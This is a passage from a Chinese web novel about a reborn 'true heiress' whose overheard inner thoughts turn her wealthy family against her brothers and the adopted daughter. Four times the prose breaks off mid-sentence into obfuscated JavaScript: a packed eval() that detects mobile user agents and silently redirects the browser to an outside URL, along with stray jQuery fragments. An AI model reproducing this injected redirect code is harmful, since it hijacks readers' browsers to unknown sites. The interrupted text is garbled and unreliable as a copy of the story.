前世的“叶奚青”很自卑,这世的叶奚青也“一样”。 她抬头看向这个房间,抿着嘴没说话,低落的神情却不可自抑地露出来—— 【还是这个阁楼啊,果然是真的,我是真的重生了,比起我,爸爸妈妈还是更爱哥哥们一些。】 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110103|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他们那么宠爱的哥哥,最后为了争夺家产,将他们残忍地害死了。】 【只有我这个不受宠的女儿给他们安葬,帮他们复仇,不知道后来的爸爸妈妈知道这些,有没有后悔些……】 随即叶奚青自嘲一笑,转头看向叶父叶母,没有什么表情道:“谢……” 然而还不等她话说完,叶父就愤怒地咆哮一声:“管家!管家!这不是阁楼吗!” “我让你给大小姐安排一个住处,你居然给她安排一个阁楼,是不想干了吗!” 管家:? 他怎么也没想到,“真大小姐”回来第一炮,居然是对着他开的! 擦着汗跑过来,惶恐道:“对不起先生,不是我想给大小姐安排阁楼,实在是家里没有别的地方了,如果要给大小姐新的住处,只能让小小姐搬出去,这……” 管家纠结地看向叶雪璃,其他人也跟着看过去。 叶雪璃在所有人的目光注视下神色一僵。 她这才意识到,该她给叶奚青让位置了,不只是叶家女儿的位置,所有的位置她都应该让…… 眼眶瞬间被眼泪打湿,叶雪璃绞着衣角看着叶奚青,强忍眼泪道:“好……好……我这就给姐姐让房间……” 却没想到话还没说完,叶父就继续咆哮了:“你还敢给我狡辩!二楼不空着呢吗!把二楼收拾出来给青青住!” 管家:?? 不管“真小姐”和“假小姐”谁住阁楼,谁住大平层都没关系,但是二楼……管家纠结道:“先生,二楼是大少爷的住处,他虽不常回来,但……” “你听他的还是听我的!” 【他当然是谁掌权听谁的了,墙头草,白瞎爸爸妈妈对他那么好。】 叶父本来也就是气头上的一句,不是冲管家去的。 但叶奚青这一句捶下,叶父立刻冷下脸来,对着管家道:“好,你不用干了。” 管家:??? 本来就是看人下菜碟的他,万没想到后果能这么严重,赶紧求饶,表示马上去做。 但不管他多巧言令色、舌灿莲花、痛哭流涕,他的语言信任度级别都没叶奚青高,而叶奚青已经继续开始表演了—— 【爸爸居然把这个叛徒开除了,太好了。】 【当初爸爸病了,失去对公司的掌控后,就是他帮着哥哥篡夺公司掌控权的。】 【原本爸爸的病不致死的,就是因为他们,才彻底害了爸爸。】 【要不是王妈心好,帮助我搜集他们的罪证,我可能最后都扳不倒他们。】 【爸爸这一举真是太明智了,难道是上天在帮助我吗?】 事情经过听的越发清晰的叶父,却只想跪地感谢上苍,这分明是在帮助他啊! 他现在只想立刻做个全身检查,看自己有什么病,面对管家自然全是愤怒,毫不留情怒斥。 “我还没死呢,你们就敢这么不把我的话放在心上,你现在想好好离职都不行了,我会让人清查你这些年在我们家管家的账目!” “至于新管家的人选——”叶父看向跟在一旁的王妈。 王妈是女佣的头头,在家里一直负责后勤方面的杂事,和叶母对接,叶父对她的认识度不高。 但一个家的管家,肯定是忠诚度为先,有了“乖乖女儿”的心声剧透,叶父顿时放心地看向她:“王妈,以后这个家的管事,就你来掌吧!” 王妈:啊? 叶家这么大的豪门,管家的职位,和一个小公司的经理也没什么差。 万万没想到,真大小姐回家第一天,她居然升职了! 哎呀,这可是天上掉馅饼的好事,王妈都要撑不住嘴角的笑容了。 也就想着原管家还在,不好太拉仇恨,才强撑淡定道:“谢谢先生的器重!谢谢太太的栽培!我以后一定好好干!” 随后噌噌来到叶奚青面前,鞠了一大躬:“大小姐!累了吧!我先带您去二楼您的房间休息一下,您有什么需求,就跟我说一声,等您一觉睡好,肯定什么东西都准备好了!” 叶奚青点头,对她的态度很满意,这才是大小姐应有的待遇。 回头看向一群人,因为【心感心】金手指存在,她甚至额外的演技都不需要。 脸上没有表情,心里却非常感人。 【谢谢你们,爸爸妈妈,能做你们的女儿,我真的太开心了。】 20.《真假千金》 说是去休息一下,但大白天哪有睡觉的,所以王妈殷勤地将叶奚青引到浴室,并当着她的面,使人将浴室里里外外消了一遍毒,并利用优秀的新风系统,全面置换一下空气。 做完一切,对着叶奚青弯腰,一脸谄媚道:“大小姐,您放心,您的浴缸是我刚命人安装的,绝对没有任何人使用过,这里的其它设备也是刚换下来的,您都可以放心使用!” 叶奚青看着连空气都是崭新的浴室,对王妈的做法很满意,点头赞许道:“谢谢你王妈,你很贴心。” 被夸奖的王妈,顿时心花怒放。 其实叶家大少作为家中长子,早早掌握了公司,外面不知道有多少个家,并不常回来。 但王妈作为女人,设身处地地为大小姐想了一下,就算住的地方再豪华,之前有人住过,还是一个男人住的,总归有点恶心吧,尤其是那么私密的地方。 所以为了不让大小姐产生心理芥蒂,王妈恨不得把前主人存在的一切痕迹消除,短时间内,所有东西全换了新的! 这就是打工人的终极实力,殷勤地伺候完大小姐,教会她所有洗浴设备用法后,后退着走出门去。 等出了门,立刻挺直腰板,清了清嗓子,行使她刚上任管家的权利—— “将这一层大少爷的东西,都分门别类地装好,放到置物间,等大少爷回来处置。” “会和大小姐的身体发生亲密接触的物件,全部都要换成新的,装修风格太大少爷个人风格的物件,也要换成新的。” “不过新东西不用太浮夸,我看大小姐的性格很安静,不像是会喜欢浮夸风格的人,新装修可以采用简约大气的风格。” “大小姐在外面漂泊这么多年不容易,我们要更贴心些,一定不要让她产生这不是她家的感觉啊!” 底下的人顿时齐声应是。 能在私人家工作那么多年的人,多少都有几分看人眼色的本事。 原本发生“大变真假千金”的故事后,他们也在背地里窃窃私语,琢磨着这两位“千金”,谁会失势、谁会逆袭、谁能拔得头筹。 但今天这场关于住处的“交锋”,假千金失没失势不好说,真千金是真得宠啊。 因为怠慢真小姐被辞退的管家,给所有人敲响警钟,新来的小姐,并不是可以被他们轻慢对待的。 他们得拿出伺候真小姐的架势伺候她,甚至从叶父给了她属于大少爷的二楼来看,把她当真少爷一样捧也不为过。 所有人小心翼翼地揣摩着叶奚青的喜好,安排着东西。 等回过神来才发现,这个家里,是彻底住进来一位新主人了。 …… 为了欢迎大小姐回家,叶家养的顶级大厨,铆足劲准备着午餐。 叶父坐在长桌的一侧,看着左手边的叶三,神色深沉:“你也能听见?” 叶三正老老实实地坐在座椅上,听叶父一问,立刻挺直脊背,知道该来的终于来了。 左顾右盼了一会儿,支吾着点头:“嗯,好奇怪啊,妹妹没开口,我却能听见她的心声,妈妈好像也能,只有璃儿妹妹不能。” “这么奇怪的事,是真的能发生的吗,到底是有神神鬼鬼的事,还是血脉相连,独特的心灵感应?” “啊,真的好奇怪啊,想不明白为什么。” 叶父深吸了一口气,对叶三的顾左右而言他有些生气:“你只有这些想法吗?别的你没听见?” 叶三觑着叶父的神色,小心翼翼解释道:“爸爸,不是我没听见,只是这些也太惊人了,哥哥们真的会做那种事吗?” “我们可是亲父子兄弟啊,再狠也不能下这种手吧!” “会不会的,你总和他们在一起会不知道?” 叶三连忙举手反驳:“爸爸,你知道的,他们总看不起我年纪小,什么也不带我玩的。” “长这么大,我连公司门在哪开都不知道,怎么掺和他们的事!” “而且妹妹也说了,我未来也死了,肯定不能和他们是一伙的啊!” 听叶三这么说,叶父才将审视的目光从他身上移开,开始深沉地思考。 他年轻时算白手起家的豪杰人物,虽然在一开始得了一些岳家的帮助,但公司发展到如今,全靠他个人努力。 发达后,他也没像别人一样换老婆,身边一直是叶母,并和她生了三个儿子一个女儿。 他自认自己算是有良心的了,没想到在女儿的记忆里,他的两个儿子能干出这种事! 其实他不应该叶奚青“一说”,就马上相信的,但对儿子的恐惧,是刻在所有父亲基因里的程序。 一个日渐老迈的父亲,面对日益强壮,一步步向着他逼近的儿子,天生会感到忌惮。 所以本来因为身体露出老相,不得不放手公司经营给两个儿子,就感觉不爽的叶父,面对颇为奇诡的“心声传递”,立刻就信了。 面对餐桌下空荡荡的座位,想着它们的主人,越看越觉得生气! …… 与此同时,叶家的老大老二,还不知道发生了什么。 养育了18年的亲妹妹,居然不是亲生的这种事,在别人看来是大事,在他们看来却没什么。 人都是感情动物,朝夕相处的情谊才是真的,他们将璃儿当掌上明珠宠了那么多年,所有相处细节都是真的,她是不是亲妹妹又有什么重要。 如果那个“亲妹妹”识相点,愿意和璃儿和睦相处,也就罢了。 如果她不识相,非要和璃儿争什么,他们就会让那个不自量力的女人知道,叶家的门楣,并不是那么好攀的! 所以在全家接妹妹这种大活动中,他们甚至连面都没露,也就错过了一手消息。 直到管家的电话打来,才不耐烦地接起:“喂,什么事?” 管家带着哭腔的哀嚎,从话筒那边尖锐地传来,让叶大微微皱眉,将手机拿远了些。 但当他听清管家在说什么后,整个人都从座椅上弹了起来,不敢置信地开口:“什么?” 叶二见大哥反应那么大,也有点好奇:“怎么了?” 叶大挂断电话,神情莫测:“新回来的这个妹妹,还有点不简单啊。” 于是千请万请,怎么都请不来的叶大叶二,不用请,直接漂移回来了。 漆黑的车门打开,映照着老大高大挺拔的身躯,他英俊的面容,和不怒自威的气势,行走在叶家的门庭中,宛如行走的皇帝。 跟在他身后的叶家二少,也丝毫没有逊色,因为面容多似母亲,他有着女子般清雅的美貌,总是带着笑意,看起来和和气气。 但谁都知道,在他温柔的外表下,是比毒蛇还歹毒的心,叶家所有人宁愿得罪大少,也不愿意得罪二少。 叶家三兄弟,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114998|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个霸道帝王、一个阴柔毒士、一个桀骜少男,一度有“X成三少”的美誉。 现在齐聚一堂,真是风起云涌,跌宕起伏啊。 到了饭点,饭菜早就准备好了,长长的一趟桌子上,摆满了天南地北,国内国外的美味佳肴。 看着哥哥们回来,叶三赶紧挪挪屁股,坐到桌尾,属于自己的位置。 桌子的对面,叶雪璃正坐在叶母身边,默默流泪。 之前换房间的事,虽然没换成,也把叶雪璃吓了一跳。 她现在才知道,她所拥有的东西,只是叶奚青还没来得及和她要,一旦她开始要,她什么都不能拒绝! 怎么能这样呢……她做错了什么呢……她也不想被换啊……为什么要让18年朝夕相处的亲人,突然变成没有关系的陌生人了呢…… 心里委屈的她,哪怕知道不应该,也忍不住泪流满面。 在看到大哥二哥回来后,心中的悲苦再也不能忍耐,一下子扑进大哥二哥怀里,小声哭诉着:“大哥……二哥……” 原本满心不悦的哥俩,因为女孩软软糯糯的哭腔,柔软下来,摸着她毛茸茸的脑袋,安慰道:“别怕,有大哥在呢。” 叶二更是伸出手掌,露出一个温柔的笑容:“谁惹我们小公主这么伤心啊,来,哥哥请你吃糖啊~” 叶雪璃破涕为笑,擦干眼泪,她红彤彤的眼眶,和刚齐肩的温软黑发,看起来像一个乖巧的小兔子。 有些别扭地转过头去:“谁伤心了,只是太久没见两个哥哥,有些想你们了,二哥也真是的,我都多大了,你还拿糖哄我……” “哈哈哈!” 空气一团和睦,哥好妹好,其乐融融。 和喜欢的妹妹联络好感情,自然要向讨厌的妹妹讨回公道。 叶大拍拍叶雪璃的肩膀,走向楼梯附近,抬头看向正向下走的叶奚青,双臂环胸,冷漠开口—— “就是你让爸爸把管家开除的?” 叶奚青在王妈的精心照顾下,洗了一个非常舒心的澡。 当她身心愉悦地走出去,王妈已经将衣帽间的衣物,全换成了适合她穿的。 叶奚青看着橱柜的衣服展示,猜测其中有叶妈的参谋,因为和叶妈还有叶雪璃的某些穿衣风格,非常像。 但她一向没有迎合别人时尚观的习惯,所以直截了当开口:“我不喜欢不便于行动的鞋子,也不喜欢金属饰物过多的衣服。” 王妈和亲妈最大的区别,就是有什么听什么,大小姐发话,说换就换。 所以最终叶奚青踩着一双基本没有什么设计的灰色大头鞋,穿着一件基本没有什么设计的黑白拼色长筒直裙,直接下来了。 在一屋子西裤礼裙、珠宝领带的衬托下,活像穿着睡衣参加豪华宴会。 但她的姿态太轻松了,又像她才是这里的主人,是这群精心打扮的人,惊扰了她的私人领域。 叶奚青一步步走下楼梯,刚好在拐角处停下,居高临下地看着叶大。 她的脸上带着笑容,但这笑容绝不出于友好,叶奚青似笑非笑地看着来质问的叶大—— “是啊,是我让我爸爸开除的,我不仅开除了他,还抢了你的住处啊。” “我估计他也告诉你了,不然你不能回来的这么快。” “那我很想知道,你到底是想就第一件事质问我,还是第二件呢?” 21.《真假千金》 叶大顿住了,却不是因为叶奚青说话的内容,而是因为她的态度。 这些年,她对妹妹的定义,早就变成了听话乖巧的叶雪璃,他从想不到居然有人敢用这种态度跟他说话,那个人还是他刚接回家的“妹妹”。 叶大几乎气笑了,对于这个妹妹,恶感越来越深。 因为这种厌恶,他先注意到叶奚青挑衅的姿态,之后才注意到叶奚青说的话。 而当他反应过来叶奚青说什么后,怒火更是滔天。 因为不得不承认,他最初的怒火,就是被第二件事点燃的。 管家是个聪明人,他向大少爷求救,但也得考虑大少爷会不会把他放在眼里,会不会帮他出头。 所以他添油加醋,将自己被开除的原因,从叶父发怒惩治了他,变成了因为捍卫大少爷的领地,得罪了大小姐,从而得罪了叶父。 不管叶奚青和叶雪璃是争名分、争宠爱、还是争房间,都在意料之中,但争到他头上可就不一样了。 他当然不是像叶雪璃一样,在乎一个实际的房间,他是不喜欢别人冒犯他的感觉。 但身为叶家长子,早早接手公司事宜的叶大,已经学会像成人一样,掩饰自己的真实目的,以正大光明、名正言顺的理由,向着目标讨伐。 他已经可以想象,这个不知天高地厚,空有欲望,没有脑袋的蠢货妹妹,在他娴熟的“帝王术”操纵下,变得多惨了。 因为这种想象,他对叶奚青的挑衅都宽容了许多,冷笑道:“王管家在这个家里工作了十年,对这个家忠心耿耿,兢兢业业,你有什么理由开除他?” 叶奚青没有理他,缓缓走下楼,不假思索地坐在了叶母身边。 餐桌边侍应的服务生见状,赶紧将她面前的碗碟换了一副新的,毕竟之前叶雪璃在这个位置坐过,不知道大小姐会不会介意。 叶奚青心安理得地享受着无微不至的服务,不疾不徐地开口:“他对我不尊重这件事,还不够吗?” 【更何况你和他什么关系,他出事了,你这么急。】 叶奚青这两句话是分两个通道说的,知道心声这件事的叶母、叶父、叶三,顿时提起了精神,支起了耳朵。 但叶大、叶二没经历过这种事,叶奚青又背对着他们,他们看不见她嘴上的动作,只当这两句话全是她亲口说的。 叶大没想到叶奚青居然也笨拙地扯起了大旗,不由冷笑。 “你问我们什么关系,那我就告诉你,王管家在这个家工作的时间,比你在这个家的时间都长,他对这个家的贡献,也比刚回来的你还多。” “不要以为自己成了叶家女儿,就可以为所欲为,在这个家很多人心里,他比你还重要!” 被从豪门换走的18年,肯定是最能刺痛这个“妹妹”的话,人一失态,露出的破绽就会更多,破绽一多,就会更惹人厌烦。 然而他没想到的是,叶奚青不仅没因此失态,甚至有时间玩味,原来之前那个管家也姓王啊。 倒是主位上的叶父拍案而起,恶狠狠地看向叶大:“你说什么!你说一个管家,比你亲妹妹重要!” 叶大一愣。 叶家真正掌权者的暴喝,让屋子里所有人噤若寒蝉,叶大这才注意到,从一开始到现在,他亲爸的脸色就称不上好看。 后退一步。 不管他再狂,父亲发怒,还是要认的,姿态收敛:“对不起爸,我没有这个意思……” 然而这次的叶父,却没有像以前一样好打发,他好像真的发怒了,倾着身子指着他大骂。 “没有这个意思?没有这个意思是什么意思!接妹妹的时候不见你回来,一个管家出事你倒颠颠地回来了,怎么管家是你亲爹,说话比我还好使!” “人是我开除的,你对我有什么意见吗?那个人不仅怠慢你妹妹,还从家里贪了那么多,我把他开除了你到底有什么意见!” “我没想到啊,我拟定的接班人,居然是你这种吃里爬外!愚蠢不堪!帮着外人祸害自家人的畜生!” “你也别在我这嚷嚷了,明天你把你的工作交出来,我自己去上班!” “我还没死呢,这个家轮不到你做主!” “你!还有那个老二!你们两个畜生东西,全给我卷铺盖滚出去!以后这个家,不允许你俩踏进一步!” 叶大:? 他怎么也没想到,事情居然会变成这样! “爸!” 冲上去就要辩解,却被叶二一把拦住。 和叶大的鲁莽冲动不同,叶二的心更细,想的更多。 所以他发现,在场比较诡异的,除了莫名受宠的叶奚青、莫名宠叶奚青的叶父,还有坐在那,美滋滋晃荡身子,憋着笑看戏的叶三。 这就很诡异了,调换真假千金的罪魁祸首就是他,对“真妹妹”抱有最大恶意的也是他,看到这副倒反天罡的景象,他怎么可能这么乐呢? 只有一种解释,就是在接妹妹的过程中,发生了一件大事,叶三都知道,就他俩不知道。 在搞不清状况的情况下,越辩解,越会激怒他爸。 所以叶二按着大哥退下,恭谨道:“对不起爸爸,大哥太冲动了,我们对妹妹没有什么恶意,只是管家那边可能说了一些谎话,让我们误会了妹妹,我们会给妹妹道歉,妹妹对不起。” 叶二这么进退有度,叶父的神色却没有因为这个变好,反而更沉。 他了解这两个儿子,所以他知道老大虽然鲁莽,却不至于有弑父这种歹毒心思,这种主意,更像老二出的。 因此老二越聪明,他越感到害怕,而且他也意识到了,心声这种东西,不仅他能听,老大老二也能听见。 女儿并不知道自己的心声可以被所有人读取,所以在做心理活动时,从不防备人,如果不知不觉被老大老二听到,狗急跳墙就糟糕了。 因此,叶父就着这个机会发难,直接将碗筷扫到地上,一副被气急了,不想听他们说话的样子:“滚!快滚!把他们赶出去!” “以后这个家其他人也不能放他们进来,谁放进来,谁就别干了!” 众人面面相觑,老板都这么说了,那还说什么呢。 七手八脚地将大少二少劝退,真是活久了,什么情况都能遇见啊…… …… 叶雪璃怔怔地站在原地,不敢相信自己看到了什么。 原本以为大哥二哥回来了,自己能有个靠山,没想到转眼间,靠山都被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119061|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫地出门了。 叶雪璃顿时和叶三一样,老老实实地坐在桌尾,连哭都不敢哭了。 等叶大叶二走了,叶父才长出一口气。 他真害怕在这个当口,叶奚青不小心说了一句心声,被叶大叶二发现秘密。 所幸局势一直被他主导着,叶奚青什么都没说。 这么一说,之前接叶奚青的时候,那俩人刚好不在,是不是上天在帮助他啊! 心情放松下来的叶父,感谢感谢上天,然后和女儿兼未来剧透器联络起了感情:“青青啊,你不要在意,以后这个家全由你做主,那两个小畜生想进都进不来!” 叶奚青感动地看着叶父,她不是一个行为上的表演者,所以她准备在语言上奖励叶父。 【真的和前世不一样了哎,爸爸居然为了我斥责了哥哥。】 【这下好了,爸爸亲自接管公司,就不用担心哥哥们乱来了。】 【只是这个时间节点,差不多到了大哥手下的何助理,骗他签假合同,给公司造成巨大经济漏洞的时候了。】 【我该怎么不着痕迹地将这件事告诉爸爸,毕竟现在的我,根本不应该知道何助理这个人啊?】 噗—— 叶父擦了擦嘴,他没想到,还能有这种惊喜。 不知道这个惊喜算是儿子给的,还是女儿给的,总之叶父立刻掏出手机,“啊啊啊”了半天。 等放下手机,立刻佯装怒意地对着叶母吼:“你那个儿子啊,我都不想说,他手下的那个何助理怎么了,你知道吗?” “算了,说了你也听不懂,我去公司了,你们就自己在家吃饭吧!” 叶母双手交叉地坐在自己的座位上,说实话,从一开始,她就很为难,毕竟所有孩子都是她亲生的。 但听到新的内容,她也知道不能继续袒护那俩了,只能配合表演:“那你快去公司吧。” 于是一张饭桌上,只剩了毫无话语权的三个人,安心吃饭。 一旁陪饭的系统都要吐血了:“宿主,你还记得这个世界的标题叫什么吗……” 叶奚青淡定地享受美食:“《被听心声后我被全家宠上天》啊,怎么了,你觉得我被宠的力度还不够吗?” 系统牙都要咬碎了:“你是被宠上天了,那你告诉我,全家在哪!全家在哪啊!” “呵呵”。叶奚青不受控制地一笑。 全家不在这呢吗,不在这表演呢吗。 接收完系统给的剧情,叶奚青发现,两世,不管是假千金当主角,还是真千金当主角,有一点从来不会改变,那就是坐在评委席的,始终是那个“全家”。 “全家”宠假千金,假千金就是胜利者,“全家”要不宠假千金,开始宠真千金了,那就算真千金赢了。 过分了吧,说着把真千金宠上天,却让真千金下台表演,自己在评委席上看热闹,这是宠千金,还是宠猴子啊? 叶奚青从来擅长发现最好的东西,所以她要和“全家”换个位置。 不说要宠她吗,不能让她开心算什么宠,要宠就给她下台表演啊。 看别人耍猴戏,就是比自己亲自去耍要爽。 “全家”都爽那么久了,也该她坐上去爽爽了吧。 22.《真假千金》 原著女主这时候正在因为餐桌礼仪被挑剔,现在却无人敢发声,叶奚青点什么,就立刻有人送到她盘子里。 18岁的年纪,正是饿了就能吞下一头牛的年纪,叶奚青大脑活动了一天,刚好很饿。 叶家的碗碟很精致,代价就是不大,她米饭得吃两碗,满桌子的菜都被她夹了一个遍,用完主食,尤不知足地享用起餐后汤和甜点。 叶三看着这一幕,不知死活地啧啧有声道:“妹妹,你可真能吃啊!” 叶奚青静静地瞥了他一眼,叶三就立刻噤声了。 该说不说,叶奚青那双奇异的眼睛看人时,还是有点吓人的。 带着笑意时,还恍惚间有些温柔的意味,沉默注视时,那感觉仿佛被一条毒蛇盯上了。 现在叶三得罪谁都不想得罪叶奚青,不说她前世疑似有精神病,就是她随便想点有的没的,被爸爸知道了,他不就和大哥二哥一样惨了吗? 不过话虽这么说,他并没有提醒叶大叶二的想法。 死道友不死贫道,现在这样不也挺好玩的吗~ 因为年龄的原因,他注定不能和大哥二哥争什么,现在眼前突然现出了一条路,让他的心思活泛起来。 再看向叶奚青时,竟有了几分讨好的意味,不知道的,大概真以为是好脾气哥哥,在无限纵容妹妹。 叶三总体是美滋滋的,叶母却满面忧愁。 最近发生的不管什么事,对一位母亲来说,打击都太大了。 几个儿子暂时顾不上,她就看向眼前刚找回来的亲女儿,看着她非洲难民般的进食规模,不由异常辛酸:“慢点吃,慢点吃,是不是在外面,你连顿饱饭都吃不上……” 叶奚青:…… 她到底吃了多少,让这些人一个个轮流发表意见,就是在苗家最穷的时候,也没人质疑过她的饭量。 然而还不待她反驳,叶雪璃脸色先白了。 只见她绞着手指,神情万分惊慌道:“对不起妈妈……对不起姐姐……都是因为我,姐姐才会受这样的苦……” 叶母原本注意力还在叶奚青身上,听叶雪璃这么说,立刻转移了目标。 她有很多孩子,但男孩都像冒险家,长大后都奔向各自的世界,她就算在后面用力追,也只能看见他们的背影,只能等他们偶尔回来对她一笑,跟她讲述外面的世界。 只有女儿一直陪在她身边,她亲眼注目着她长大,亲眼看着她从一个总在自己怀里撒娇的小女孩,变成亭亭玉立的小公主,好像永远属于她。 她在她身上倾付了太多的爱,以至于就算知道了叶雪璃和她没有血缘关系,也没办法果断地把这种感情收回。 所以她立刻转身安慰叶雪璃道:“没有的事,没有的事,这都不怪你,这一切都是——” “换孩子那个人的错,真不知道那个人,怎么还能吃得下饭。” 叶三:…… 叶母:…… 转头看向叶奚青,才发现她已经用完餐了,正抱着手臂,面无表情地看着叶三,刚刚那话就是她接的。 叶母这才反应过来,她这个女儿是“重生”的,对一切洞若观火,自然知道当初换孩子的具体细节。 所以她现在优先应该调解的关系,不是叶奚青和叶雪璃,而是叶奚青和叶三! 叶三是比叶雪璃还重要的亲儿子,那就更不好弄了。 叶母看看这个,看看那个,急得团团转。 叶三也没想到,战火怎么突然烧到了自己身上。 原本闲着没事,看叶奚青胃口那么好,也食指大动的他,正要拿一块点心。 听见叶奚青的话,动作僵在空中,讪讪道:“妹妹……你都知道了……那时候我还小啊……不懂事的……” 叶奚青看着他,没有说话,但大脑已经开始工作。 【我当然知道你还小,不然你应该出现在餐桌上,而不是餐桌边,还有——】 叶奚青看向母亲:“妈妈,首先,我的饭量并没有很夸张,这是一个成年人正常的饭量,你不要被叶三那个蠢货带偏。” “其次,过往的事我可以当作没发生过,但我未来的人生,不想持续受这件事的影响,你有想好怎么安排我和这位妹妹了吗?” 叶母:…… 她光顾着想对所有孩子的爱了,却没想到,她的每一个孩子,都到了水火不容的地步。 这位母亲有无数照顾好丈夫、照顾好孩子、照顾好家庭的本事,却偏偏没有这种决断能力。 于是看向叶奚青时,心碎得快要哭出来了。 叶奚青:…… 成功压力完叶母,叶奚青就转向叶雪璃,直截了当地开口:“你有离开这个家的打算吗?” 叶雪璃:! 她没想到叶奚青这么直接,马上虚弱地向母亲和哥哥求助。 但曾经宠爱她的三哥,正因为一个“精神病”说的“餐桌上”坐立不安,宠爱她的叶母,也不敢把战火引到亲儿子和亲女儿间,只能任由她被叶奚青揉捏。 叶雪璃绝望地看向叶奚青,就看见她露出一个微笑:“看来没有呢,那你留在这个家里,应该能知道我和你的不同吧。” 叶雪璃怔怔地不说话。 她抬头看向叶奚青,不知道在看什么,看着,看着,突然“哇”一声哭出声来。 她很想和叶奚青争夺宠爱,但她觉得叶奚青太恐怖了,恐怖到她无法思考,只能凭借本能哭喊着—— “对不起姐姐!我知道错了!但是我真的不想离开!” “我以后给你当保姆行不行!我以后天天伺候你行不行!你别赶我走啊!呜呜呜!” 叶奚青:………… 场面看似一切尽在掌握,但如果不是害怕崩人设,叶奚青很想把五指深深插进头皮里,缓解一下精神压力。 前世系统吃了“恶毒女配不够恶毒”的亏,所以这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125046|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一世信誓旦旦地要给她找一个“最恶毒的恶毒女配”。 按照系统的说法,叶雪璃是一个真正有手段、有心机、战斗力比苗双双强一百倍,让原世界观众群情激愤、咬牙切齿、辱骂好几页,真正害死了原主的终极恶毒女配。 结果就这? 不要说比苗双双强大一百倍,就是让她和苗双双PK一下,但凡她能撑过一轮,她都可以给她颁发恶毒女配终身荣誉奖。 叶奚青无语地询问系统:“系统,你的战力评级真的没有问题吗?” 系统:…… 你都不按原剧情走,还管我原剧情的战力评级啊? 就算恶毒女配再厉害,你把她靠山都打没了,她还能怎么着啊! 系统太生气了,叶雪璃怎么能完蛋成这样! 但再生气,系统也只能看着,谁让叶奚青把剧本都打崩了啊! 因为系统的恐怖渲染,叶奚青在面对终极恶毒女配时,是全力以赴的,她的任何爪牙都没留,但没想到一回合下来,就感觉自己在大炮打蚊子。 当然,这可能也是恶毒女配的恐怖之处,好战如她,都提不起战意了,怎么不能说是另一种恐怖如斯。 无心再战的叶奚青非常冷静道:“不要哭了,我不吃这一套。” “你的亲生父母,是一对可以将三岁孩子抛弃的父母,我不会强制将你送给他们,也不会阻止你去追查,是否另有隐情,你已经是成年人,可以为自己负责。” “如果你要留下来,也没问题。” “但请你记住,我们的关系并没有那么好,不要装作若无其事的样子来找我搭讪,我们的关系也没有那么差,不要一副寄人篱下,委委屈屈的样子,让妈妈担心。” “妈妈是这个家最在乎你的人,也是这个家我最在乎的人,我不希望她难过。” “归根结底,你和我并没有什么关系,我不在意你的那部分,只在意我的那部分,有没有全部回到我的手里。” “不管对外宣称你是养女也好,还是叶家又多了个双胞胎,只要不影响我,我都无所谓。” “以后的日子,我住我的二楼,你住你的五楼,我们两个井水不犯河水。” 叶雪璃和叶母同时一愣。 她们已经做好这个“冷酷大魔头”,说出任何恐怖决策的心理准备,但没想到,好像什么都没发生? 劫后余生的母女抱头痛哭,哭了好久后才反应过来——好像是哦,因为叶大的无私奉献,她们是有井水不犯河水的条件。 叶母又激动地将叶奚青搂在怀里,她从没想过还有如此完美的解决方式:“谢谢你!青青!因为你,我两个女儿都没有失去!” 叶奚青被她抱的头偏向一边,从善如流道:“没关系妈妈,只要你能开心,我什么都愿意。” 叶母顿时哭得更大声了,啊!是她的女儿啊!是她的亲女儿啊! 她的女儿,也太完美了吧! 23.《真假千金》 只一瞬间,就奠定了叶母心里第一女儿的位置,所谓18年的感情,也没那么不好战胜。 都说父母的爱,是世界上最无私的爱,叶奚青却觉得恰恰相反。 想要一个孩子延续自己注定腐朽的生命,已经是最功利的想法了,怀着这样想法成为父母的人,又怎么会是无欲无求,一心奉献的呢? 所以哪怕这位母亲,已经算极为爱自己孩子的了,她还是喜欢更优秀、更坚强、更爱她的那个。 和叶奚青表现出的既爱且恨、既柔且坚的复杂人设相比,叶雪璃楚楚可怜的人设,太单薄了。 